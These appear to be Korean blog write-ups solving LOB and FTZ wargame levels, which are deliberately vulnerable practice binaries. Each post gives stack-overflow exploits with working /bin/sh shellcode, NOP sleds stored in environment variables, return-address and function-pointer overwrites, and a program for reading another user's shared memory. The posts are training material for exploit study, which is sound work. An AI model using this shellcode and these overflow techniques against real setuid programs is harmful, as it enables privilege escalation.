[LOB] goblin -> orc

Posted by dw0rdptr
2015. 3. 21. 18:26 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
cs

여러 제약조건이 추가되었다

1) egghunter 환경변수를 못씀

2) argv[1][47] 에 \xbf가 없으면 종료(ret 주소) -> 스택 내에 쉘코드삽입을 뜻함


gdb로 분석해보면


스택에 2c(44)바이트만큼의 공간이 할당되어있다.

메모리구조는

(row) | i[4] | buffer[40] | sfp[4] | ret[4] | (high)


strcpy 함수가 호출된 직후 브포를 걸어 buffer의 시작주소를 찾는다


NOP(19)+쉘코드(25)+버퍼의 시작주소(4)로 페이로드를 짜서 공격해봤다

Segmentation fault가 뜬다. 어떻게 된건지 찾아봤더니 gdb로 디버깅해서 나오는 주소값과 실제 프로그램상의 주소가 차이가 난다고 한다.

정확한 버퍼 주소를 알아보기 위해 orc.c 소스에서 printf("%s",buffer);를 %p로 바꿔 주소를 출력하게 했다.



페이로드와 Password


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gremlin -> cobolt  (0) 2015.03.18
[LOB] gate->gremlin  (0) 2015.03.17

[LOB] cobolt -> goblin

Posted by dw0rdptr
2015. 3. 20. 15:54 System/LOB
1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}
cs

- goblin 소스


gets로 buffer에 입력을 받아 출력하는데 gets함수 역시 입력문자열의 길이를 제한하지 않아
버퍼오버플로우 취약점이 발생한다.


스택에 16바이트 할당했으므로
메모리구조
| buffer(16) | sfp(4) | ret(4) |


전레벨과 똑같은 환경변수 shellcode를 등록하고 주소를 찾는다.

앞의 문제와는 다르게 실행할 때 인자를 받지 않고 프로그램 내에서 입력을 받으므로
파이프 명령어 | (shift + \)를 이용해 스크립트를 전달한다.


성공

Password


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] gremlin -> cobolt  (0) 2015.03.18
[LOB] gate->gremlin  (0) 2015.03.17

[LOB] gremlin -> cobolt

Posted by dw0rdptr
2015. 3. 18. 15:18 System/LOB

ㄹㅇ

ㅇㄹ

cobolt 소스


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/
 
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs

bash2실행하고 gdb로 까봤다

스택에 16바이트가 할당되어있다. 역시 더미가 없으므로 메모리구조를 생각해보면

| buffer(16Byte) | sfp(4Byte) | ret(4Byte) |

이렇게 된다. 버퍼의 크기가 작아 버퍼에 쉘코드를 쓰는 대신 환경변수를 이용해 풀겠다


NOP과 쉘코드가 있는 환경변수 shellcode를 등록하고 주소를 찾았다.

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
    char *addr;
    addr=getenv(argv[1]);
    printf("The address of %s is %p\n",argv[1],addr);
    return 0;
}
cs

*환경변수 주소를 구하는 소스


페이로드와 결과


'System > LOB' 카테고리의 다른 글

[LOB] wolfman -> darkelf  (0) 2015.03.25
[LOB] orc -> wolfman  (0) 2015.03.24
[LOB] goblin -> orc  (0) 2015.03.21
[LOB] cobolt -> goblin  (0) 2015.03.20
[LOB] gate->gremlin  (0) 2015.03.17

FTZ level16

Posted by dw0rdptr
2015. 3. 17. 21:26 System/FTZ

-hint 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h> 
 
void shell()
{  
    setreuid(3097,3097);  
    system("/bin/sh");
 
void printit()
{  
    printf("Hello there!\n");
 
main(){   
 
    int crap;  
    void (*call)()=printit;  
    char buf[20];  
    fgets(buf,48,stdin);  
    call();
}  
cs



간단한 문제다 

void (*call)()=printit; 

포인터 함수 *call이 사용자 정의 함수 printit의 주소를 가르키고 있으므로

함수 shell의 시작주소를 대신 채워주면 쉘을 획득할 수 있다.


gdb로 shell함수를 디스어셈블해보면

0x080484d0 <shell+0>: push   %ebp

함수 shell의 시작주소는 0x080484d0이다





buf와 *call의 거리는 level15처럼 구하면

40이므로 40개를 채워주고 shell함수의 주소를 채우면 

(python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackme


id

uid=3097(level17) gid=3096(level16) groups=3096(level16)


성공


my-pass


Level17 Password


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level15

Posted by dw0rdptr
2015. 3. 17. 21:22 System/FTZ


1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
main(){   
 
    int crap;  
    int *check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    if (*check==0xdeadbeef)   
    {     
        setreuid(3096,3096);     
        system("/bin/sh");  
    }
}  
cs


*check 포인터 변수는 입력받은 값을 주소로 받아

그 주소 안에 있는 값을 참조하므로

*check가 참조하는 값이 deadbeef가 되어야 한다


환경변수선언

export shellcode=`python -c 'print "\xef\xbe\xad\xde"'` 


*check에 shellcode 주소를 채우기만 하면 된다.


환경변수 주소 찾기

-앞에서 나온 주소 찾기 소스는 대략적인 위치만을 찾아 NOP Sled를 사용해 쉘코드를 실행시켰지만

이문제는 환경변수의 정확한 시작 주소를 찾아야 하기 때문에 아래의 소스를 쓴다



--get.c


1
2
3
4
5
6
7
int main(int argc, char **argv){
 
    long ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2
    printf("\nUse Address : %p", ptr);
    return 0;
}
cs


 //USAGE ./get 환경변수이름/ target의절대경로

./get shellcode /home/level15/attackme



Use Address : 0xbffffeff



공격 코드는


(python -c 'print "A"*40 + "\xff\xfe\xff\xbf"';cat) | /home/level15/attackme



id

uid=3096(level16) gid=3095(level15) groups=3095(level15)


my-pass


Level16 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level14

Posted by dw0rdptr
2015. 3. 17. 21:15 System/FTZ


hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h> 
main(){  
 
    int crap; 
    int check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    
    if (check==0xdeadbeef)
    {     
        setreuid(3095,3095);     
        system("/bin/sh");   
    }
}    
cs



프로그램 안에서 쉘을 실행시키기 때문에 조건만 만족시켜주면 된다


buf에서 버퍼 오버플로우를 일으켜 check에 deadbeef를 채우면 되는데

표준입력으로 받기 때문에 파이프명령어 사용


| buf[20] | dummy[?????] | check[4] | ------


buf와 check 사이의 dummy값을 모르기 때문에 20부터 하나씩 채워나간다


(python -c 'print "A"*21 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*28 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*30 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*35 + "\xef\xbe\xad\xde"';cat)| ./attackme


...


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)| ./attackme




id

uid=3095(level15) gid=3094(level14) groups=3094(level14) 


성공.

my-pass



Level15 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level15  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level13

Posted by dw0rdptr
2015. 3. 17. 21:11 System/FTZ

-hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h> 
main(int argc, char *argv[]){   
 
    long i=0x1234567;  
    char buf[1024];   
 
    setreuid( 30943094 );   
    
    if(argc > 1)   
        strcpy(buf,argv[1]);   
 
    if(i != 0x1234567)
{   
        printf(" Warnning: Buffer Overflow !!! \n");   
        kill(0,11);   
    }
}
cs



gdb로 디스어셈블을 한결과 

<main+3>    sub      $0x418,%esp    0x418=1048


스택에 할당된 공간은 1048이다


높은주소

----------

  ret[4]                          자라는방향↓

----------

  sfp[4]

----------

dummy1[?]

----------

dummy2[?]

----------

i=0x1234567

----------

dummy3[?]

----------

buf[1024]                        

----------

낮은주소


소스코드를 보면 i에 0x1234567이라는 값이 없으면 프로그램이 강제로 종료된다


i에 저장된 값이 바뀌게되면 Warning : Buffer Overflow ! ! !라는 경고문이 뜨고

Segmentation fault 메시지와 함께 kill함수에 의해 프로세스가 종료된다.


i전까지 A로 채우고 i에 0x1234567을 입력해준다음 ret전까지 다시 A로 채워준다

그리고 ret에 환경변수 주소를 채우면 쉘을 획득하게 된다


일단 A를 1024바이트 부터 계속 하나씩 더해서 buf와 i 사이의 dummy1의크기를 구한다


./attackme `python -c 'print "A" * 1024'부터


.....

                       

./attackme `python -c 'print "A" * 1036'`까지 입력해보니


 Warnning: Buffer Overflow !!! 

Segmentation fault



드디어 떴다!


여기서 i전까지 A를 에러가 뜨기 바로 전인 1035개가 아니라 1036개를 채워야 한다

왜그런지 간단하게 설명하자면 


[A][A][A][\0]                   

           [01][23][45][67] →  i


이런식으로 끝에 null값이 들어가고 뒤에 문자열을 추가하면 null값이 사라지고 그위치부터 입력이 시작되기 때문에 

처음 경고문이 뜨는 1036개를 채워야한다


buf+dumm3=1036이므로


dummy3의 크기는 12


dummy1+2의 크기는 1048-buf(1024)+dummy3(12)+i(4), 1048-1040=8



낮은주소 | buf[1024] | dummy3[12] | i [4] | dummy1+2[8] | fsp[4] | ret[4] | 높은주소


이제 환경변수와 공격코드를 짜는일만 남았다.


환경변수

export shellcode=`python -c 'print "\x90"*50+ "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소는 0xbffffeda



따라서


공격코드는

./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xda\xfe\xff\xbf"'`


level14 passward


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17

FTZ level12

Posted by dw0rdptr
2015. 3. 17. 21:05 System/FTZ


-hint

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void ){    
 
    char str[256];     
    setreuid( 30933093 );    
    printf( "문장을 입력하세요.\n" );    
    gets( str );    
    printf( "%s\n", str );
}  
cs

 



gets는 입력받는 문자열의 길이를 제한하지 못해 선언된 버퍼보다 많은값을 입력받으면

버퍼 오버플로우가 발생하게 된다


level 11과는 다르게  프로그램 안에서 입력을 받고있다.


gdb 로 disass main명령어를 실행하면


main+3을 보면 스택에 0x108(264)의 공간을 만든다

이 공간은 str[256]+dummy이므로 dummy의 크기는 8byte이라는 것을알수있다



| str[256] | dummy[8] | sfp[4] | ret[4] |



먼저 환경변수 shellcode에 25바이트 쉘코드를 입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소를 찾는다

(소스는 level11 참조)



./get shellcode

The address of shellcode is 0xbffffec5



이제 공격 코드를 짜면되는데, 파이프 명령어를 이용한다

(python -c 'print "A"*268 + "\xc5\xfe\xff\xbf"' ;cat) | ./attackme

                                              (shellcode의 주소)



위와 같은 방법으로 스크립트 전체를 괄호로 묶고 cat 으로 나온 출력을 attackme 의 입력으로 돌려주면 된다.



uid=3093(level13) gid=3092(level12) groups=3092(level12)

쉘을 얻었다. my-pass를 실행하면


level13 Password



'System > FTZ' 카테고리의 다른 글

FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17

FTZ level11

Posted by dw0rdptr
2015. 3. 17. 21:02 System/FTZ


-hint-

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h> 
int main( int argc, char *argv[] ){    
    
    char str[256];     
 
    setreuid( 30923092 );    
    strcpy( str, argv[1] );    
    printf( str );
cs



-gcc 2.96

(이 버전 이상의 gcc 컴파일러에서는 dummy값 추가)



높은주소        ↓방향으로 스택쌓임

----------

      ret            4byte

----------

      sfp            (saved frame pointer) 4byte

----------

   dummy1       buffer의 크기가 9byte 이상이면 8byte로 일정한 크기

----------

   dummy2      buffer의 시작주소와 dummy1의 시작주소 사이 거리가 16의배수가 되게 만든다.

----------    (거리는 256byte, 16의 배수이므로 dummy2의 크기는 0)

   str[256]        -buffer

----------

낮은주소



str에 버퍼 256byte 선언


dummy 8byte + sfp 4byte + ret의 시작주소까지 268byte



*참고


25byte 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80


2번째걸씀



export 명령어로 환경변수 shellcode 선언하고 25byte 쉘코드입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`



* "\x90"=NOP sled(nop 썰매)

 NOP은 CPU가 아무일도 하지 않는다는 명령어이다

 환경변수에 바로 쉘코드를 올리면 프로그램에서 환경변수를 참조할때 

 항상 쉘코드의 시작주소에서 시작하지는 않기 때문에

 아무곳에서나 참조하더라도 NOP을 만나면 그대로 쉘코드를 만나 실행하게된다




-환경변수 주소를 찾는 소스


1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){    
 
    char *addr;    
    addr=getenv(argv[1]);    
 
    printf("The address of %s is %p\n",argv[1],addr);    
    return 0;
}
cs


gcc로 컴파일 한 뒤 실행한다


./get shellcode

The address of shellcode is 0xbffffc1e



환경변수 shellcode의 주소값이나온다



공격코드를 짜보면

./attackme `python -c 'print "A"*268 + "\x1e\xfc\xff\xbf"'`

                        (shellcode의 주소)


A로 str[256]+dummy[8]+sfp[4]=268byte를 모두 채운 후 ret자리에 shellcode의 주소를 넣게 된다


스크립트를 실행하면!


sh-2.05b$ 


성공


level12의 패스워드는


이 문제처럼 버퍼의 크기가 큰 경우 환경변수를 쓰지 않고 버퍼에 직접 쉘코드를 

입력하고 ret주소를 버퍼의 시작주소로 바꾸는 방법도 있다.



'System > FTZ' 카테고리의 다른 글

FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17

FTZ level10

Posted by dw0rdptr
2015. 3. 17. 20:54 System/FTZ



hint :

두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며, 

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 

level11의 권한을 얻어라.



공유메모리와 공유메모리와 관련된 함수에 대한 자세한 설명은 

http://geundi.tistory.com/52


key_t의 값을 알고있으니 key_t를 이용해 식별자를 구하고

식별자로 공유메모리의 주소를 구해 그 내용을 출력하는 프로그램을 짜면

다음레벨의 패스워드를 알 수 있다.



-프로그램소스 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>
int main(){        
 
    int identifier;            
    int address;        
    int key;        
 
    printf("input key_t:");     //key_t입력        
    scanf("%d",&key);        
 
    identifier = shmget(key,0,IPC_CREAT);   //shmget함수로 식별자 구하기        
    address = shmat(identifier,0,0);           //shmget함수의 리턴값(식별자)로 공유메모리주소 구하기
 
    printf("%s",address);               //주소에있는 대화 출력        
    return 0;
}
 
cs


멍 멍 : level11의 패스워드는?


'System > FTZ' 카테고리의 다른 글

FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17